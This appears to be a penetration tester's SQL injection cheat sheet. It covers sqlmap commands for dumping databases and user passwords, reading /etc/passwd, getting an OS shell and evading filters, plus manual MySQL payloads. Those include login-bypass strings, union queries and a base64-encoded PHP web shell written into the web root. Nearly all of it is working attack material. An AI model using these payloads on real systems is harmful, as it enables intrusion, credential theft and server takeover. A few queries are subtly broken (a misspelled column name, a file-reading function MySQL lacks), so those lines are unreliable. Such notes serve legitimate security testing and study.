Skip to main content

SQLi

SQLMap

Tips

  • Copy the request as cURL in the devtools and change curl to sqlmap
  • Save burp requests to text files and load them in sqlmap with sqlmap -r request.txt

Don't ask for user input

sqlmap ... --batch

Fingerprint

sqlmap ... --current-user --banner --current-db --is-dba

Enum everything at once

sqlmap ... --all --batch -v 0

Enum schema

sqlmap ... --schema

Enum dbs

sqlmap ... --dbs

Enum tables

sqlmap ... -D dbname --tables

Enum columns

sqlmap ... -D dbname -T users --columns

Search table by string

sqlmap ... --search -T something

Search column by string

sqlmap ... --search -C something

Dump everything

sqlmap ... --dump-all

Dump table contents

sqlmap ... --dump -D dbname -T users -C email,password

Dump w/ filters

sqlmap ... --dump -D dbname -T users --where="email LIKE '%something%'" --start=1 --stop=15

Read file

sqlmap ... --file-read "/etc/passwd"

Write file

sqlmap ... --file-write "file-to-write.txt" --file-dest "/target/destination/on/victim/file-to-write.txt"

OS shell

sqlmap ... --os-shell

Send traffic through proxy

sqlmap ... --proxy http://127.0.0.1:8080

Save traffic to file

sqlmap ... -t ./out.txt

Verbosity

Show errors

sqlmap ... --parse-errors

Verbose output

# No info logs
sqlmap ... -v 0
# All payloads
sqlmap ... -v 3

Tuning

sqlmap ... --level=5 --risk=3
sqlmap ... --union-cols=6 --union-char='A'
sqlmap ... --prefix="\`)" --suffix="-- +" 

Bypass protections

Randomize user agent

sqlmap ... --random-agent

CSRF token

sqlmap ... --data="...csrftoken=7c65966e-4a4a-408a-bd92-fe2a3a9ee094" --csrf-token="csrftoken"

Randomize value

sqlmap ... --randomize=some-field

Tamper scripts

sqlmap --list-tampers
sqlmap ... --tamper=space2comment,between

Mysql

Fingerprint

select @@version
select sleep(3)

Enum dbs

select schema_name from information_schema.schemata

Enum tables

select table_name,table_schame from information_schema.tables where table_schema='zzz'

Enum columns

select column_name,table_name from information_schema.columns where table_name='zzz' and table_schema='zzz'

Enum current user

select user();

Enum current user privileges

select grantee,privilege_type FROM information_schema.user_privileges WHERE grantee="'<user>'@'<host>'"

Enum current user write file

Check if value is empty for access, whereas NULL means no access.

select variable_name,variable_value from information_schema.global_variables where variable_name='secure_file_priv'

Read file

select readfile('/etc/passwd')

Write file

select from_base64("PD9waHAgc3lzdGVtKCRfUkVRVUVTVFswXSk7ID8+") into outfile '/var/www/html/pwn.php'

Login bypass

' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
'='
'LIKE'
'=0--+

Some union injection examples

' union select 1,username,password,4,5,6 from db1.users;-- -
' union select 1,user(),3,4,5,6;-- -
' union select 1,sleep(3),3,4,5,6;-- -
' union select 1,readfile("/etc/passwd"),3,4,5,6;-- -